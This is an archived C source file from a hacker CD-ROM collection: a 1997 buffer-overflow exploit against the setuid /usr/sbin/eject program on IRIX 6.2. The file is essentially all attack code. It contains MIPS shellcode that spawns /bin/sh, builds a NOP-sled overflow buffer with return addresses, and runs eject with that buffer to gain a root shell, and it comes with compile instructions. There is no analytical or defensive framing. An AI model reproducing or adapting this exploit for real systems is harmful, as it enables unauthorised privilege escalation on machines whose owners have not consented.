home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 4 / hacker04 / 04_HACK04.ISO / xploits / eject / eject2.c
Encoding:
C/C++ Source or Header  |  2002-03-18  |  3.0 KB  |  111 lines

  1. /*
  2.  
  3.  /usr/sbin/eject exploit by DCRH 25/5/97
  4.  
  5.  Tested on: R8000 Power Challenge (Irix64 6.2)
  6.  
  7.  Exploit doesn't work on Irix 5.x due to stack position
  8.  Irix 6.3 does not appear to be vulnerable
  9.  
  10.  compile as: cc -n32 eject.c
  11.  
  12. */
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <string.h>
  17. #include <sys/types.h>
  18. #include <unistd.h>
  19.  
  20. #define NUM_ADDRESSES   80
  21. #define BUF_LENGTH      400
  22. #define EXTRA           200
  23. #define OFFSET          -0x128
  24. #define GP_OFFSET       32412
  25. #define IRIX_NOP        0x03e0f825    /* move $ra,$ra */
  26.  
  27. #define u_long unsigned
  28.  
  29.  
  30. u_long get_sp_code[] = {
  31.   0x03a01025,         /* move $v0,$sp   [2000]*/
  32.   0x03e00008,         /* jr $ra         [2000]*/
  33.   0x00000000,         /* nop            [2000]*/
  34. };
  35.  
  36. u_long irix_shellcode[] = {
  37.   0x24041234,         /* li $4,0x1234   [2000]*/
  38.   0x2084edcc,         /* sub $4,0x1234  [2000]*/
  39.   0x0491fffe,         /* bgezal $4,pc-4 [2000]*/
  40.   0x03bd302a,         /* sgt $6,$sp,$sp [2000]*/
  41.   0x23e4012c,         /* addi $4,$31,264+36   */
  42.   0xa086feff,         /* sb $6,-264+7($4)     */
  43.   0x2084fef8,         /* sub $4,264     [2000]*/
  44.   0x20850110,         /* addi $5,$4,264+8     */
  45.   0xaca4fef8,         /* sw $4,-264($5) [2000]*/
  46.   0xaca6fefc,         /* sw $4,-260($5) [2000]*/
  47.   0x20a5fef8,         /* sub $5, 264    [2000]*/
  48.   0x240203f3,         /* li $v0,1011    [2000]*/
  49.   0x03ffffcc,         /* syscall 0xfffff[2000]*/
  50.   0x2f62696e,         /* "/bin"         [2000]*/
  51.   0x2f7368ff,         /* "/sh"          [2000]*/
  52. };
  53.  
  54. char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];
  55.  
  56. void main(int argc, char **argv)
  57. {
  58.   char *env[] = {NULL};
  59.   u_long targ_addr, stack;
  60.   u_long *long_p;
  61.   int i, code_length = strlen((char *)irix_shellcode)+1;
  62.   u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
  63.  
  64.   stack = get_sp();
  65.  
  66.   if (stack & 0x80000000)
  67.     {
  68.       printf("Recompile with the '-n32' option\n");
  69.       exit(1);
  70.     }
  71.  
  72.   long_p =(u_long *)  buf;
  73.   targ_addr = stack + OFFSET;
  74.  
  75.   if (argc > 1)
  76.     targ_addr += atoi(argv[1]) * 4;
  77.  
  78.   if (targ_addr + GP_OFFSET > 0x80000000)
  79.     {
  80.       printf("Sorry - this exploit for Irix 6.x only\n");
  81.       exit(1);
  82.     }
  83.  
  84.   while ((targ_addr & 0xff000000) == 0 ||
  85.          (targ_addr & 0x00ff0000) == 0 ||
  86.          (targ_addr & 0x0000ff00) == 0 ||
  87.          (targ_addr & 0x000000ff) == 0)
  88.     targ_addr += 4;
  89.  
  90.   for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
  91.     *long_p++ = targ_addr + NUM_ADDRESSES/2;
  92.  
  93.   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  94.     *long_p++ = IRIX_NOP;
  95.  
  96.   for (i = 0; i < code_length/sizeof(u_long); i++)
  97.     *long_p++ = irix_shellcode[i];
  98.  
  99.   for (i = 0; i < EXTRA / sizeof(u_long); i++)
  100.     *long_p++ = targ_addr + GP_OFFSET;
  101.  
  102.   *long_p = 0;
  103.  
  104.   printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
  105.  
  106.   execle("/usr/sbin/eject", "eject", buf, 0, env);
  107.   perror("execl failed");
  108. }
  109. /*                    www.hack.co.za              [2000]*/
  110.  
  111.